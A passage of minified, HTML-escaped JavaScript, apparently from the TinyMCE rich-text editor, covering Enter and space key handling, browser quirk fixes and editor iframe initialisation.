i=arguments[t],a=0,u=i.length;a&lt;u;a++,o++)r[o]=i[a];return r}(t,n);o.dom.setAttrib(i,&quot;class&quot;,r.join(&quot; &quot;))});var r=[&quot;style&quot;,&quot;class&quot;],a=yr(e,function(e,t){return!F(r,t)}).t;o.dom.setAttribs(i,a)},gx=function(e,t){var n=Nl(e);if(n&amp;&amp;n.toLowerCase()===t.tagName.toLowerCase()){var r=El(e);mx(e,t,r)}},px=function(a,e){var t,u,s,i,c,n,r,o,l,f,d,m,g,p,h,v,y,b,C,x=a.dom,w=a.schema,N=w.getNonEmptyElements(),E=a.selection.getRng(),S=function(e){var t,n,r,o=s,i=w.getTextInlineElements();if(r=t=e||&quot;TABLE&quot;===f||&quot;HR&quot;===f?x.create(e||m):c.cloneNode(!1),!1===kl(a))x.setAttrib(t,&quot;style&quot;,null),x.setAttrib(t,&quot;class&quot;,null);else do{if(i[o.nodeName]){if(Ju(o)||yc(o))continue;n=o.cloneNode(!1),x.setAttrib(n,&quot;id&quot;,&quot;&quot;),t.hasChildNodes()?n.appendChild(t.firstChild):r=n,t.appendChild(n)}}while((o=o.parentNode)&amp;&amp;o!==u);return gx(a,t),sx(r),t},T=function(e){var t,n,r,o;if(o=fx(e,s,i),jo.isText(s)&amp;&amp;(e?0&lt;o:o&lt;s.nodeValue.length))return!1;if(s.parentNode===c&amp;&amp;g&amp;&amp;!e)return!0;if(e&amp;&amp;jo.isElement(s)&amp;&amp;s===c.firstChild)return!0;if(cx(s,&quot;TABLE&quot;)||cx(s,&quot;HR&quot;))return g&amp;&amp;!e||!g&amp;&amp;e;for(t=new go(s,c),jo.isText(s)&amp;&amp;(e&amp;&amp;0===o?t.prev():e||o!==s.nodeValue.length||t.next());n=t.current();){if(jo.isElement(n)){if(!n.getAttribute(&quot;data-mce-bogus&quot;)&amp;&amp;(r=n.nodeName.toLowerCase(),N[r]&amp;&amp;&quot;br&quot;!==r))return!1}else if(jo.isText(n)&amp;&amp;!/^[ \t\r\n]*$/.test(n.nodeValue))return!1;e?t.prev():t.next()}return!0},k=function(){r=/^(H[1-6]|PRE|FIGURE)$/.test(f)&amp;&amp;&quot;HGROUP&quot;!==d?S(m):S(),_l(a)&amp;&amp;lx(x,l)&amp;&amp;x.isEmpty(c)?r=x.split(l,c):x.insertAfter(r,c),QC(a,r)};Dg(x,E).each(function(e){E.setStart(e.startContainer,e.startOffset),E.setEnd(e.endContainer,e.endOffset)}),s=E.startContainer,i=E.startOffset,m=Nl(a),n=e.shiftKey,jo.isElement(s)&amp;&amp;s.hasChildNodes()&amp;&amp;(g=i&gt;s.childNodes.length-1,s=s.childNodes[Math.min(i,s.childNodes.length-1)]||s,i=g&amp;&amp;jo.isText(s)?s.nodeValue.length:0),(u=dx(x,s))&amp;&amp;((m&amp;&amp;!n||!m&amp;&amp;n)&amp;&amp;(s=function(e,t,n,r,o){var i,a,u,s,c,l,f,d=t||&quot;P&quot;,m=e.dom,g=dx(m,r);if(!(a=m.getParent(r,m.isBlock))||!lx(m,a)){if(l=(a=a||g)===e.getBody()||(f=a)&amp;&amp;/^(TD|TH|CAPTION)$/.test(f.nodeName)?a.nodeName.toLowerCase():a.parentNode.nodeName.toLowerCase(),!a.hasChildNodes())return i=m.create(d),gx(e,i),a.appendChild(i),n.setStart(i,0),n.setEnd(i,0),i;for(s=r;s.parentNode!==a;)s=s.parentNode;for(;s&amp;&amp;!m.isBlock(s);)s=(u=s).previousSibling;if(u&amp;&amp;e.schema.isValidChild(l,d.toLowerCase())){for(i=m.create(d),gx(e,i),u.parentNode.insertBefore(i,u),s=u;s&amp;&amp;!m.isBlock(s);)c=s.nextSibling,i.appendChild(s),s=c;n.setStart(r,o),n.setEnd(r,o)}}return r}(a,m,E,s,i)),c=x.getParent(s,x.isBlock),l=c?x.getParent(c.parentNode,x.isBlock):null,f=c?c.nodeName.toUpperCase():&quot;&quot;,&quot;LI&quot;!==(d=l?l.nodeName.toUpperCase():&quot;&quot;)||e.ctrlKey||(l=(c=l).parentNode,f=d),/^(LI|DT|DD)$/.test(f)&amp;&amp;x.isEmpty(c)?ux(a,S,l,c,m):m&amp;&amp;c===a.getBody()||(m=m||&quot;P&quot;,Sa(c)?(r=Pa(c),x.isEmpty(c)&amp;&amp;sx(c),gx(a,r),QC(a,r)):T()?k():T(!0)?(r=c.parentNode.insertBefore(S(),c),QC(a,cx(c,&quot;HR&quot;)?r:c)):((t=(b=E,C=b.cloneRange(),C.setStart(b.startContainer,fx(!0,b.startContainer,b.startOffset)),C.setEnd(b.endContainer,fx(!1,b.endContainer,b.endOffset)),C).cloneRange()).setEndAfter(c),o=t.extractContents(),y=o,z(Ji(ar.fromDom(y),mr),function(e){var t=e.dom();t.nodeValue=wa(t.nodeValue)}),function(e){for(;jo.isText(e)&amp;&amp;(e.nodeValue=e.nodeValue.replace(/^[\r\n]+/,&quot;&quot;)),e=e.firstChild;);}(o),r=o.firstChild,x.insertAfter(o,c),function(e,t,n){var r,o=n,i=[];if(o){for(;o=o.firstChild;){if(e.isBlock(o))return;jo.isElement(o)&amp;&amp;!t[o.nodeName.toLowerCase()]&amp;&amp;i.push(o)}for(r=i.length;r--;)!(o=i[r]).hasChildNodes()||o.firstChild===o.lastChild&amp;&amp;&quot;&quot;===o.firstChild.nodeValue?e.remove(o):(a=e,(u=o)&amp;&amp;&quot;A&quot;===u.nodeName&amp;&amp;a.isEmpty(u)&amp;&amp;e.remove(o));var a,u}}(x,N,r),p=x,(h=c).normalize(),(v=h.lastChild)&amp;&amp;!/^(left|right)$/gi.test(p.getStyle(v,&quot;float&quot;,!0))||p.add(h,&quot;br&quot;),x.isEmpty(c)&amp;&amp;sx(c),r.normalize(),x.isEmpty(r)?(x.remove(r),k()):(gx(a,r),QC(a,r))),x.setAttrib(r,&quot;id&quot;,&quot;&quot;),a.fire(&quot;NewBlock&quot;,{newBlock:r})))},hx=function(e,t){return ex(e).filter(function(e){return 0&lt;t.length&amp;&amp;Lr(ar.fromDom(e),t)}).isSome()},vx=function(e){return hx(e,Sl(e))},yx=function(e){return hx(e,Tl(e))},bx=xf([{br:[]},{block:[]},{none:[]}]),Cx=function(e,t){return yx(e)},xx=function(n){return function(e,t){return&quot;&quot;===Nl(e)===n}},wx=function(n){return function(e,t){return nx(e)===n}},Nx=function(n,r){return function(e,t){return tx(e)===n.toUpperCase()===r}},Ex=function(e){return Nx(&quot;pre&quot;,e)},Sx=function(n){return function(e,t){return wl(e)===n}},Tx=function(e,t){return vx(e)},kx=function(e,t){return t},_x=function(e){var t=Nl(e),n=ZC(e.dom,e.selection.getStart());return n&amp;&amp;e.schema.isValidChild(n.nodeName,t||&quot;P&quot;)},Ax=function(e,t){return function(n,r){return j(e,function(e,t){return e&amp;&amp;t(n,r)},!0)?_.some(t):_.none()}},Rx=function(e,t){return yd([Ax([Cx],bx.none()),Ax([Nx(&quot;summary&quot;,!0)],bx.br()),Ax([Ex(!0),Sx(!1),kx],bx.br()),Ax([Ex(!0),Sx(!1)],bx.block()),Ax([Ex(!0),Sx(!0),kx],bx.block()),Ax([Ex(!0),Sx(!0)],bx.br()),Ax([wx(!0),kx],bx.br()),Ax([wx(!0)],bx.block()),Ax([xx(!0),kx,_x],bx.block()),Ax([xx(!0)],bx.br()),Ax([Tx],bx.br()),Ax([xx(!1),kx],bx.br()),Ax([_x],bx.block())],[e,t.shiftKey]).getOr(bx.none())},Dx=function(e,t){Rx(e,t).fold(function(){jg(e,t)},function(){px(e,t)},o)},Ox=function(o){o.on(&quot;keydown&quot;,function(e){var t,n,r;e.keyCode===rv.ENTER&amp;&amp;(t=o,(n=e).isDefaultPrevented()||(n.preventDefault(),(r=t.undoManager).typing&amp;&amp;(r.typing=!1,r.add()),t.undoManager.transact(function(){!1===t.selection.isCollapsed()&amp;&amp;t.execCommand(&quot;Delete&quot;),Dx(t,n)})))})},Bx=function(n,r){var e=r.container(),t=r.offset();return jo.isText(e)?(e.insertData(t,n),_.some(Su(e,t+n.length))):Is(r).map(function(e){var t=ar.fromText(n);return r.isAtEnd()?Ii(e,t):Pi(e,t),Su(t.dom(),n.length)})},Px=d(Bx,&quot;\xa0&quot;),Ix=d(Bx,&quot; &quot;),Lx=function(e,t,n){return sc.navigateIgnore(e,t,n,Pf)},Fx=function(e,t){return X(uf(ar.fromDom(t.container()),e),Co)},Mx=function(e,n,r){return Lx(e,n.dom(),r).forall(function(t){return Fx(n,r).fold(function(){return!1===Ts(t,r,n.dom())},function(e){return!1===Ts(t,r,n.dom())&amp;&amp;zr(e,ar.fromDom(t.container()))})})},zx=function(t,n,r){return Fx(n,r).fold(function(){return Lx(t,n.dom(),r).forall(function(e){return!1===Ts(e,r,n.dom())})},function(e){return Lx(t,e.dom(),r).isNone()})},Ux=d(zx,!1),jx=d(zx,!0),Vx=d(Mx,!1),Hx=d(Mx,!0),qx=function(e){return Su.isTextPosition(e)&amp;&amp;!e.isAtStart()&amp;&amp;!e.isAtEnd()},$x=function(e,t){var n=U(uf(ar.fromDom(t.container()),e),Co);return Z(n).getOr(e)},Wx=function(e,t){return qx(t)?Bf(t):Bf(t)||sc.prevPosition($x(e,t).dom(),t).exists(Bf)},Kx=function(e,t){return qx(t)?Of(t):Of(t)||sc.nextPosition($x(e,t).dom(),t).exists(Of)},Xx=function(e){return Is(e).bind(function(e){return na(e,dr)}).exists(function(e){return t=kr(e,&quot;white-space&quot;),F([&quot;pre&quot;,&quot;pre-wrap&quot;],t);var t})},Yx=function(e,t){return o=e,i=t,sc.prevPosition(o.dom(),i).isNone()||(n=e,r=t,sc.nextPosition(n.dom(),r).isNone())||Ux(e,t)||jx(e,t)||Sf(e,t)||Ef(e,t);var n,r,o,i},Gx=function(e,t){var n,r,o,i=(r=(n=t).container(),o=n.offset(),jo.isText(r)&amp;&amp;o&lt;r.data.length?Su(r,o+1):n);return!Xx(i)&amp;&amp;(jx(e,i)||Hx(e,i)||Ef(e,i)||Kx(e,i))},Jx=function(e,t){return n=e,!Xx(r=t)&amp;&amp;(Ux(n,r)||Vx(n,r)||Sf(n,r)||Wx(n,r))||Gx(e,t);var n,r},Qx=function(e,t){return _f(e.charAt(t))},Zx=function(e){var t=e.container();return jo.isText(t)&amp;&amp;Yn(t.data,&quot;\xa0&quot;)},ew=function(e){var n,t=e.data,r=(n=t.split(&quot;&quot;),W(n,function(e,t){return _f(e)&amp;&amp;0&lt;t&amp;&amp;t&lt;n.length-1&amp;&amp;Rf(n[t-1])&amp;&amp;Rf(n[t+1])?&quot; &quot;:e}).join(&quot;&quot;));return r!==t&amp;&amp;(e.data=r,!0)},tw=function(l,e){return _.some(e).filter(Zx).bind(function(e){var t,n,r,o,i,a,u,s,c=e.container();return i=l,u=(a=c).data,s=Su(a,0),Qx(u,0)&amp;&amp;!Jx(i,s)&amp;&amp;(a.data=&quot; &quot;+u.slice(1),1)||ew(c)||(t=l,r=(n=c).data,o=Su(n,r.length-1),Qx(r,r.length-1)&amp;&amp;!Jx(t,o)&amp;&amp;(n.data=r.slice(0,-1)+&quot; &quot;,1))?_.some(e):_.none()})},nw=function(t){var e=ar.fromDom(t.getBody());t.selection.isCollapsed()&amp;&amp;tw(e,Su.fromRangeStart(t.selection.getRng())).each(function(e){t.selection.setRng(e.toRange())})},rw=function(r,o){return function(e){return t=r,!Xx(n=e)&amp;&amp;(Yx(t,n)||Wx(t,n)||Kx(t,n))?Px(o):Ix(o);var t,n}},ow=function(e){var t,n,r=_u.fromRangeStart(e.selection.getRng()),o=ar.fromDom(e.getBody());if(e.selection.isCollapsed()){var i=d(Vl.isInlineTarget,e),a=_u.fromRangeStart(e.selection.getRng());return Ld(i,e.getBody(),a).bind((n=o,function(e){return e.fold(function(e){return sc.prevPosition(n.dom(),_u.before(e))},function(e){return sc.firstPositionIn(e)},function(e){return sc.lastPositionIn(e)},function(e){return sc.nextPosition(n.dom(),_u.after(e))})})).bind(rw(o,r)).exists((t=e,function(e){return t.selection.setRng(e.toRange()),t.nodeChanged(),!0}))}return!1},iw=function(r){r.on(&quot;keydown&quot;,function(e){var t,n;!1===e.isDefaultPrevented()&amp;&amp;(t=r,n=e,XC([{keyCode:rv.SPACEBAR,action:KC(ow,t)}],n).each(function(e){n.preventDefault()}))})},aw=function(e,t){var n;t.hasAttribute(&quot;data-mce-caret&quot;)&amp;&amp;(Pa(t),(n=e).selection.setRng(n.selection.getRng()),e.selection.scrollIntoView(t))},uw=function(e,t){var n,r=(n=e,oa(ar.fromDom(n.getBody()),&quot;*[data-mce-caret]&quot;).fold(q(null),function(e){return e.dom()}));if(r)return&quot;compositionstart&quot;===t.type?(t.preventDefault(),t.stopPropagation(),void aw(e,r)):void(_a(r)&amp;&amp;(aw(e,r),e.undoManager.add()))},sw=function(e){e.on(&quot;keyup compositionstart&quot;,d(uw,e))},cw=or.detect().browser,lw=function(t){var e,n;e=t,n=Vi(function(){e.composing||nw(e)},0),cw.isIE()&amp;&amp;(e.on(&quot;keypress&quot;,function(e){n.throttle()}),e.on(&quot;remove&quot;,function(e){n.cancel()})),t.on(&quot;input&quot;,function(e){!1===e.isComposing&amp;&amp;nw(t)})},fw=function(r){r.on(&quot;keydown&quot;,function(e){var t,n;!1===e.isDefaultPrevented()&amp;&amp;(t=r,n=e,XC([{keyCode:rv.END,action:EC(t,!0)},{keyCode:rv.HOME,action:EC(t,!1)}],n).each(function(e){n.preventDefault()}))})},dw=function(e){var t=Xd.setupSelectedState(e);sw(e),YC(e,t),GC(e,t),Ox(e),iw(e),lw(e),fw(e)};function mw(u){var s,n,r,o=Xt.each,c=rv.BACKSPACE,l=rv.DELETE,f=u.dom,d=u.selection,e=u.settings,t=u.parser,i=fe.gecko,a=fe.ie,m=fe.webkit,g=&quot;data:text/mce-internal,&quot;,p=a?&quot;Text&quot;:&quot;URL&quot;,h=function(e,t){try{u.getDoc().execCommand(e,!1,t)}catch(n){}},v=function(e){return e.isDefaultPrevented()},y=function(){u.shortcuts.add(&quot;meta+a&quot;,null,&quot;SelectAll&quot;)},b=function(){u.on(&quot;keydown&quot;,function(e){if(!v(e)&amp;&amp;e.keyCode===c&amp;&amp;d.isCollapsed()&amp;&amp;0===d.getRng().startOffset){var t=d.getNode().previousSibling;if(t&amp;&amp;t.nodeName&amp;&amp;&quot;table&quot;===t.nodeName.toLowerCase())return e.preventDefault(),!1}})},C=function(){u.inline||(u.contentStyles.push(&quot;body {min-height: 150px}&quot;),u.on(&quot;click&quot;,function(e){var t;if(&quot;HTML&quot;===e.target.nodeName){if(11&lt;fe.ie)return void u.getBody().focus();t=u.selection.getRng(),u.getBody().focus(),u.selection.setRng(t),u.selection.normalize(),u.nodeChanged()}}))};return u.on(&quot;keydown&quot;,function(e){var t,n,r,o,i;if(!v(e)&amp;&amp;e.keyCode===rv.BACKSPACE&amp;&amp;(n=(t=d.getRng()).startContainer,r=t.startOffset,o=f.getRoot(),i=n,t.collapsed&amp;&amp;0===r)){for(;i&amp;&amp;i.parentNode&amp;&amp;i.parentNode.firstChild===i&amp;&amp;i.parentNode!==o;)i=i.parentNode;&quot;BLOCKQUOTE&quot;===i.tagName&amp;&amp;(u.formatter.toggle(&quot;blockquote&quot;,null,i),(t=f.createRng()).setStart(n,0),t.setEnd(n,0),d.setRng(t))}}),s=function(e){var t=f.create(&quot;body&quot;),n=e.cloneContents();return t.appendChild(n),d.serializer.serialize(t,{format:&quot;html&quot;})},u.on(&quot;keydown&quot;,function(e){var t,n,r,o,i,a=e.keyCode;if(!v(e)&amp;&amp;(a===l||a===c)){if(t=u.selection.isCollapsed(),n=u.getBody(),t&amp;&amp;!f.isEmpty(n))return;if(!t&amp;&amp;(r=u.selection.getRng(),o=s(r),(i=f.createRng()).selectNode(u.getBody()),o!==s(i)))return;e.preventDefault(),u.setContent(&quot;&quot;),n.firstChild&amp;&amp;f.isBlock(n.firstChild)?u.selection.setCursorLocation(n.firstChild,0):u.selection.setCursorLocation(n,0),u.nodeChanged()}}),fe.windowsPhone||u.on(&quot;keyup focusin mouseup&quot;,function(e){rv.modifierPressed(e)||d.normalize()},!0),m&amp;&amp;(u.settings.content_editable||f.bind(u.getDoc(),&quot;mousedown mouseup&quot;,function(e){var t;if(e.target===u.getDoc().documentElement)if(t=d.getRng(),u.getBody().focus(),&quot;mousedown&quot;===e.type){if(ka(t.startContainer))return;d.placeCaretAt(e.clientX,e.clientY)}else d.setRng(t)}),u.on(&quot;click&quot;,function(e){var t=e.target;/^(IMG|HR)$/.test(t.nodeName)&amp;&amp;&quot;false&quot;!==f.getContentEditableParent(t)&amp;&amp;(e.preventDefault(),u.selection.select(t),u.nodeChanged()),&quot;A&quot;===t.nodeName&amp;&amp;f.hasClass(t,&quot;mce-item-anchor&quot;)&amp;&amp;(e.preventDefault(),d.select(t))}),e.forced_root_block&amp;&amp;u.on(&quot;init&quot;,function(){h(&quot;DefaultParagraphSeparator&quot;,e.forced_root_block)}),u.on(&quot;init&quot;,function(){u.dom.bind(u.getBody(),&quot;submit&quot;,function(e){e.preventDefault()})}),b(),t.addNodeFilter(&quot;br&quot;,function(e){for(var t=e.length;t--;)&quot;Apple-interchange-newline&quot;===e[t].attr(&quot;class&quot;)&amp;&amp;e[t].remove()}),fe.iOS?(u.inline||u.on(&quot;keydown&quot;,function(){V.document.activeElement===V.document.body&amp;&amp;u.getWin().focus()}),C(),u.on(&quot;click&quot;,function(e){var t=e.target;do{if(&quot;A&quot;===t.tagName)return void e.preventDefault()}while(t=t.parentNode)}),u.contentStyles.push(&quot;.mce-content-body {-webkit-touch-callout: none}&quot;)):y()),11&lt;=fe.ie&amp;&amp;(C(),b()),fe.ie&amp;&amp;(y(),h(&quot;AutoUrlDetect&quot;,!1),u.on(&quot;dragstart&quot;,function(e){var t,n,r;(t=e).dataTransfer&amp;&amp;(u.selection.isCollapsed()&amp;&amp;&quot;IMG&quot;===t.target.tagName&amp;&amp;d.select(t.target),0&lt;(n=u.selection.getContent()).length&amp;&amp;(r=g+escape(u.id)+&quot;,&quot;+escape(n),t.dataTransfer.setData(p,r)))}),u.on(&quot;drop&quot;,function(e){if(!v(e)){var t=(i=e).dataTransfer&amp;&amp;(a=i.dataTransfer.getData(p))&amp;&amp;0&lt;=a.indexOf(g)?(a=a.substr(g.length).split(&quot;,&quot;),{id:unescape(a[0]),html:unescape(a[1])}):null;if(t&amp;&amp;t.id!==u.id){e.preventDefault();var n=Bb(e.x,e.y,u.getDoc());d.setRng(n),r=t.html,o=!0,u.queryCommandSupported(&quot;mceInsertClipboardContent&quot;)?u.execCommand(&quot;mceInsertClipboardContent&quot;,!1,{content:r,internal:o}):u.execCommand(&quot;mceInsertContent&quot;,!1,r)}}var r,o,i,a})),i&amp;&amp;(u.on(&quot;keydown&quot;,function(e){if(!v(e)&amp;&amp;e.keyCode===c){if(!u.getBody().getElementsByTagName(&quot;hr&quot;).length)return;if(d.isCollapsed()&amp;&amp;0===d.getRng().startOffset){var t=d.getNode(),n=t.previousSibling;if(&quot;HR&quot;===t.nodeName)return f.remove(t),void e.preventDefault();n&amp;&amp;n.nodeName&amp;&amp;&quot;hr&quot;===n.nodeName.toLowerCase()&amp;&amp;(f.remove(n),e.preventDefault())}}}),V.Range.prototype.getClientRects||u.on(&quot;mousedown&quot;,function(e){if(!v(e)&amp;&amp;&quot;HTML&quot;===e.target.nodeName){var t=u.getBody();t.blur(),he.setEditorTimeout(u,function(){t.focus()})}}),n=function(){var e=f.getAttribs(d.getStart().cloneNode(!1));return function(){var t=d.getStart();t!==u.getBody()&amp;&amp;(f.setAttrib(t,&quot;style&quot;,null),o(e,function(e){t.setAttributeNode(e.cloneNode(!0))}))}},r=function(){return!d.isCollapsed()&amp;&amp;f.getParent(d.getStart(),f.isBlock)!==f.getParent(d.getEnd(),f.isBlock)},u.on(&quot;keypress&quot;,function(e){var t;if(!v(e)&amp;&amp;(8===e.keyCode||46===e.keyCode)&amp;&amp;r())return t=n(),u.getDoc().execCommand(&quot;delete&quot;,!1,null),t(),e.preventDefault(),!1}),f.bind(u.getDoc(),&quot;cut&quot;,function(e){var t;!v(e)&amp;&amp;r()&amp;&amp;(t=n(),he.setEditorTimeout(u,function(){t()}))}),e.readonly||u.on(&quot;BeforeExecCommand MouseDown&quot;,function(){h(&quot;StyleWithCSS&quot;,!1),h(&quot;enableInlineTableEditing&quot;,!1),e.object_resizing||h(&quot;enableObjectResizing&quot;,!1)}),u.on(&quot;SetContent ExecCommand&quot;,function(e){&quot;setcontent&quot;!==e.type&amp;&amp;&quot;mceInsertLink&quot;!==e.command||o(f.select(&quot;a&quot;),function(e){var t=e.parentNode,n=f.getRoot();if(t.lastChild===e){for(;t&amp;&amp;!f.isBlock(t);){if(t.parentNode.lastChild!==t||t===n)return;t=t.parentNode}f.add(t,&quot;br&quot;,{&quot;data-mce-bogus&quot;:1})}})}),u.contentStyles.push(&quot;img:-moz-broken {-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}&quot;),fe.mac&amp;&amp;u.on(&quot;keydown&quot;,function(e){!rv.metaKeyPressed(e)||e.shiftKey||37!==e.keyCode&amp;&amp;39!==e.keyCode||(e.preventDefault(),u.selection.getSel().modify(&quot;move&quot;,37===e.keyCode?&quot;backward&quot;:&quot;forward&quot;,&quot;lineboundary&quot;))}),b()),{refreshContentEditable:function(){},isHidden:function(){var e;return!i||u.removed?0:!(e=u.selection.getSel())||!e.rangeCount||0===e.rangeCount}}}var gw=function(e){return jo.isElement(e)&amp;&amp;No(ar.fromDom(e))},pw=function(t){t.on(&quot;click&quot;,function(e){3&lt;=e.detail&amp;&amp;function(e){var t=e.selection.getRng(),n=Su.fromRangeStart(t),r=Su.fromRangeEnd(t);if(Su.isElementPosition(n)){var o=n.container();gw(o)&amp;&amp;sc.firstPositionIn(o).each(function(e){return t.setStart(e.container(),e.offset())})}Su.isElementPosition(r)&amp;&amp;(o=n.container(),gw(o)&amp;&amp;sc.lastPositionIn(o).each(function(e){return t.setEnd(e.container(),e.offset())})),e.selection.setRng(cl(t))}(t)})},hw=function(e){var t,n;(t=e).on(&quot;click&quot;,function(e){t.dom.getParent(e.target,&quot;details&quot;)&amp;&amp;e.preventDefault()}),(n=e).parser.addNodeFilter(&quot;details&quot;,function(e){z(e,function(e){e.attr(&quot;data-mce-open&quot;,e.attr(&quot;open&quot;)),e.attr(&quot;open&quot;,&quot;open&quot;)})}),n.serializer.addNodeFilter(&quot;details&quot;,function(e){z(e,function(e){var t=e.attr(&quot;data-mce-open&quot;);e.attr(&quot;open&quot;,S(t)?t:null),e.attr(&quot;data-mce-open&quot;,null)})})},vw=Si.DOM,yw=function(e){var t;e.bindPendingEventDelegates(),e.initialized=!0,e.fire(&quot;init&quot;),e.focus(!0),e.nodeChanged({initial:!0}),e.execCallback(&quot;init_instance_callback&quot;,e),(t=e).settings.auto_focus&amp;&amp;he.setEditorTimeout(t,function(){var e;(e=!0===t.settings.auto_focus?t:t.editorManager.get(t.settings.auto_focus)).destroyed||e.focus()},100)},bw=function(t,e){var n,r,u,o,i,a,s,c,l,f=t.settings,d=t.getElement(),m=t.getDoc();f.inline||(t.getElement().style.visibility=t.orgVisibility),e||f.content_editable||(m.open(),m.write(t.iframeHTML),m.close()),f.content_editable&amp;&amp;(t.on(&quot;remove&quot;,function(){var e=this.getBody();vw.removeClass(e,&quot;mce-content-body&quot;),vw.removeClass(e,&quot;mce-edit-focus&quot;),vw.setAttrib(e,&quot;contentEditable&quot;,null)}),vw.addClass(d,&quot;mce-content-body&quot;),t.contentDocument=m=f.content_document||V.document,t.contentWindow=f.content_window||V.window,t.bodyElement=d,f.content_document=f.content_window=null,f.root_name=d.nodeName.toLowerCase()),(n=t.getBody()).disabled=!0,t.readonly=f.readonly,t.readonly||(t.inline&amp;&amp;&quot;static&quot;===vw.getStyle(n,&quot;position&quot;,!0)&amp;&amp;(n.style.position=&quot;relative&quot;),n.contentEditable=t.getParam(&quot;content_editable_state&quot;,!0)),n.disabled=!1,t.editorUpload=qh(t),t.schema=di(f),t.dom=Si(m,{keep_values:!0,url_converter:t.convertURL,url_converter_scope:t,hex_colors:f.force_hex_style_colors,class_filter:f.class_filter,update_styles:!0,root_element:t.inline?t.getBody():null,collect:f.content_editable,schema:t.schema,contentCssCors:zl(t),onSetAttrib:function(e){t.fire(&quot;SetAttrib&quot;,e)}}),t.parser=((o=bb((u=t).settings,u.schema)).addAttributeFilter(&quot;src,href,style,tabindex&quot;,function(e,t){for(var n,r,o,i=e.length,a=u.dom;i--;)if(r=(n=e[i]).attr(t),o=&quot;data-mce-&quot;+t,!n.attributes.map[o]){if(0===r.indexOf(&quot;data:&quot;)||0===r.indexOf(&quot;blob:&quot;))continue;&quot;style&quot;===t?((r=a.serializeStyle(a.parseStyle(r),n.name)).length||(r=null),n.attr(o,r),n.attr(t,r)):&quot;tabindex&quot;===t?(n.attr(o,r),n.attr(t,null)):n.attr(o,u.convertURL(r,t,n.name))}}),o.addNodeFilter(&quot;script&quot;,function(e){for(var t,n,r=e.length;r--;)0!==(n=(t=e[r]).attr(&quot;type&quot;)||&quot;no/type&quot;).indexOf(&quot;mce-&quot;)&amp;&amp;t.attr(&quot;type&quot;,&quot;mce-&quot;+n)}),o.addNodeFilter(&quot;#cdata&quot;,function(e){for(var t,n=e.length;n--;)(t=e[n]).type=8,t.name=&quot;#comment&quot;,t.value=&quot;[CDATA[&quot;+t.value+&quot;]]&quot;}),o.addNodeFilter(&quot;p,h1,h2,h3,h4,h5,h6,div&quot;,function(e){for(var t,n=e.length,r=u.schema.getNonEmptyElements();n--;)(t=e[n]).isEmpty(r)&amp;&amp;0===t.getAll(&quot;br&quot;).length&amp;&amp;(t.append(new sb(&quot;br&quot;,1)).shortEnded=!0)}),o),t.serializer=Eb(f,t),t.selection=uC(t.dom,t.getWin(),t.serializer,t),t.annotator=Hc(t),t.formatter=Gy(t),t.undoManager=ry(t),t._nodeChangeDispatcher=new ev(t),t._selectionOverrides=Bv(t),hw(t),pw(t),dw(t),Xh(t),t.fire(&quot;PreInit&quot;),f.browser_spellcheck||f.gecko_spellcheck||(m.body.spellcheck=!1,vw.setAttrib(n,&quot;spellcheck&quot;,&quot;false&quot;)),t.quirks=mw(t),t.fire(&quot;PostRender&quot;),f.directionality&amp;&amp;(n.dir=f.directionality),f.nowrap&amp;&amp;(n.style.whiteSpace=&quot;nowrap&quot;),f.protect&amp;&amp;t.on(&quot;BeforeSetContent&quot;,function(t){Xt.each(f.protect,function(e){t.content=t.content.replace(e,function(e){return&quot;\x3c!--mce:protected &quot;+escape(e)+&quot;--\x3e&quot;})})}),t.on(&quot;SetContent&quot;,function(){t.addVisual(t.getBody())}),t.load({initial:!0,format:&quot;html&quot;}),t.startContent=t.getContent({format:&quot;raw&quot;}),t.on(&quot;compositionstart compositionend&quot;,function(e){t.composing=&quot;compositionstart&quot;===e.type}),0&lt;t.contentStyles.length&amp;&amp;(r=&quot;&quot;,Xt.each(t.contentStyles,function(e){r+=e+&quot;\r\n&quot;}),t.dom.addStyle(r)),(i=t,i.inline?vw.styleSheetLoader:i.dom.styleSheetLoader).loadAll(t.contentCSS,function(e){yw(t)},function(e){yw(t)}),f.content_style&amp;&amp;(a=t,s=f.content_style,c=ar.fromDom(a.getDoc().head),l=ar.fromTag(&quot;style&quot;),wr(l,&quot;type&quot;,&quot;text/css&quot;),Fi(l,ar.fromText(s)),Fi(c,l))},Cw=Si.DOM,xw=function(e,t){var n,r,o,i,a,u,s,c=e.editorManager.translate(&quot;Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help&quot;),l=(n=e.id,r=c,o=t.height,i=hl(e),s=ar.fromTag(&quot;iframe&quot;),Nr(s,i),Nr(s,{id:n+&quot;_ifr&quot;,frameBorder:&quot;0&quot;,allowTransparency:&quot;true&quot;,title:r}),Tr(s,{width:&quot;100%&quot;,height:(a=o,u=&quot;number&quot;==typeof a?a+&quot;px&quot;:a,u||&quot;&quot;),display:&quot;block&quot;}),s).dom();l.onload=function(){l.onload=null,e.fire(&quot;load&quot;)};var f,d,m,g,p=function(e,t){if(V.document.domain!==V.window.location.hostname&amp;&amp;fe.ie&amp;&amp;fe.ie&lt;12){var n=Hh.uuid(&quot;mce&quot;);e[n]=function(){bw(e)};var r=&#039;javascript:(function(){document.open();document.domain=&quot;&#039;+V.document.domain+&#039;&quot;;var ed = window.parent.tinymce.get(&quot;&#039;+e.id+&#039;&quot;);document.write(ed.iframeHTML);document.close();ed.&#039;+n+&quot;(true);})()&quot;;return Cw.setAttrib(t,&quot;src&quot;,r),!0}return!1}(e,l);return e.contentAreaContainer=t.iframeContainer,e.iframeElement=l,e.iframeHTML=(g=vl(f=e)+&quot;&lt;html&gt;&lt;head&gt;&quot;,yl(f)!==f.documentBaseUrl&amp;&amp;(g+=&#039;&lt;base href=&quot;&#039;+f.documentBaseURI.getURI()+&#039;&quot; /&gt;&#039;),g+=&#039;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;&#039;,d=bl(f),m=Cl(f),xl(f)&amp;&amp;(g+=&#039;&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;&#039;+xl(f)+&#039;&quot; /&gt;&#039;),g+=&#039;&lt;/head&gt;&lt;body id=&quot;&#039;+d+&#039;&quot; class=&quot;mce-content-body &#039;+m+&#039;&quot; data-id=&quot;&#039;+f.id+&#039;&quot;&gt;&lt;br&gt;&lt;/body&gt;&lt;/html&gt;&#039;),Cw.add(t.iframeContainer,l),p},ww=function(e,t){var 